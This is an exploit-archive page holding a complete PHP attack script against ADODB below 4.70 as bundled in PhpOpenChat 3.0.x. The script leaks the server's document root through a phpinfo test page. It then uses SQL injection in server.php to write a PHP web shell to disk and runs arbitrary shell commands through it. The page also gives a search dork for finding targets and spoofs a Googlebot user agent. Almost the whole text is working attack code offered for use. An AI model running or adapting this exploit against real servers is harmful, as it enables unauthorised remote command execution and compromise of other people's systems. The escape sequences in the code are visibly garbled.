[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : ADODB < 4.70 (PhpOpenChat 3.0.x) Server.php SQL Injection Exploit
# Published : 2006-04-09
# Author : rgod
# Previous Title : ADODB < 4.70 (tmssql.php) Denial of Service Vulnerability
# Next Title : dnGuestbook <= 2.0 Remote SQL Injection Vulnerabilities


#!/usr/bin/php -q -d short_open_tag=on
<?
echo "PhpOpenChat 3.0.x ADODB Server.php "sql" SQL injectionrn";
echo "by rgod rgod@autistici.orgrn";
echo "site: http://retrogod.altervista.orgrnrn";
echo "dork: Welcome to your PHPOpenChat-Installation!rnrn";

if ($argc<4) {
echo "Usage: php ".$argv[0]." host path cmd OPTIONSrn";
echo "host:      target server (ip/hostname)rn";
echo "path:      path to PhpOpenChatrn";
echo "cmd:       a shell commandrn";
echo "Options:rn";
echo "   -p[port]:    specify a port other than 80rn";
echo "   -P[ip:port]: specify a proxyrn";
echo "Examples:rn";
echo "php ".$argv[0]." localhost /chat/ rn";
echo "php ".$argv[0]." localhost /chat/ ls -la -p81rn";
echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80rn";
die;
}
/*
 this is based on

 http://www.securityfocus.com/bid/16187

 but... look at the server.php source code:

...
$driver = 'mysql';
$host = 'localhost'; // DSN for odbc
$uid = 'root';
$pwd = '';
$database = 'test';
...

you need a "root" user with no password, an existent "test" database
and Mysql to have certain rights to write files...
so, this vulnerability is very hard to exploit
however, here is the code for PhpOpenChat, you can easily change it to work
against the program you want
									      */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";}
  }
 return $exa."rn".$result;
}
$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "rn".$html;
}

$host=$argv[1];
$path=$argv[2];
$action=$argv[3];
$cmd="";$port=80;$proxy="";

for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

#step 1->read DOCUMENT ROOT from phpinfo
$packet ="GET ".$p."include/adodb/tests/tmssql.php?do=phpinfo HTTP/1.0rn";
$packet.="User-Agent: Googlebot/2.1rn";
$packet.="Host: ".$host."rn";
$packet.="Connection: Closernrn";
sendpacketii($packet);
$temp=explode("DOCUMENT_ROOT </td><td class="v">",$html);
$temp2=explode(" </td></tr>",$temp[1]);
$fullpath=$temp2[0];
$fullpath=trim($fullpath);
echo "DOCUMENT ROOT ->".$fullpath."rnrn";
$fullpath=str_replace("\","\\\\",$fullpath); // win boxes
if ($fullpath=="")
{
echo $html;
die("rnrnCannot read phpinfo ...rn");
}

#step 2->execute a query (you can regardless of magic_quotes_gpc)
$SQL ="SELECT '<?php echo chr(0x2a)."delim*";passthru($_GET["cmd"]);echo chr(0x2a)."delim*";?>',0,0,0,0,0 ";
$SQL.="INTO DUMPFILE '".$fullpath."/suntzu.php' FROM poc.poc_user_account LIMIT 1";
$SQL=urlencode($SQL);
$packet ="GET ".$p."include/adodb/server.php?sql=$SQL HTTP/1.0rn";
$packet.="User-Agent: Googlebot/2.1rn";
$packet.="Host: ".$host."rn";
$packet.="Connection: Closernrn";
sendpacketii($packet);
if (strstr($html,"Access denied") || !strstr($html,"200 OK") || strstr($html,"Can't connect"))
{
echo $html;
die("rnrnExploit failed...rn");
}
sleep(1);
#step 3->launch commands
$packet ="GET /suntzu.php?cmd=".$cmd." HTTP/1.0rn";
$packet.="User-Agent: Googlebot/2.1rn";
$packet.="Host: ".$host."rn";
$packet.="Connection: Closernrn";
sendpacketii($packet);
if (!strstr($html,"*delim*"))
{
echo $html;
die("rnrnExploit failed...rn");
}
else
{
echo "Exploit succeeded...rn";
$temp=explode("*delim*",$html);
echo $temp[1];
}
?>

# www.Syue.com [2006-04-09]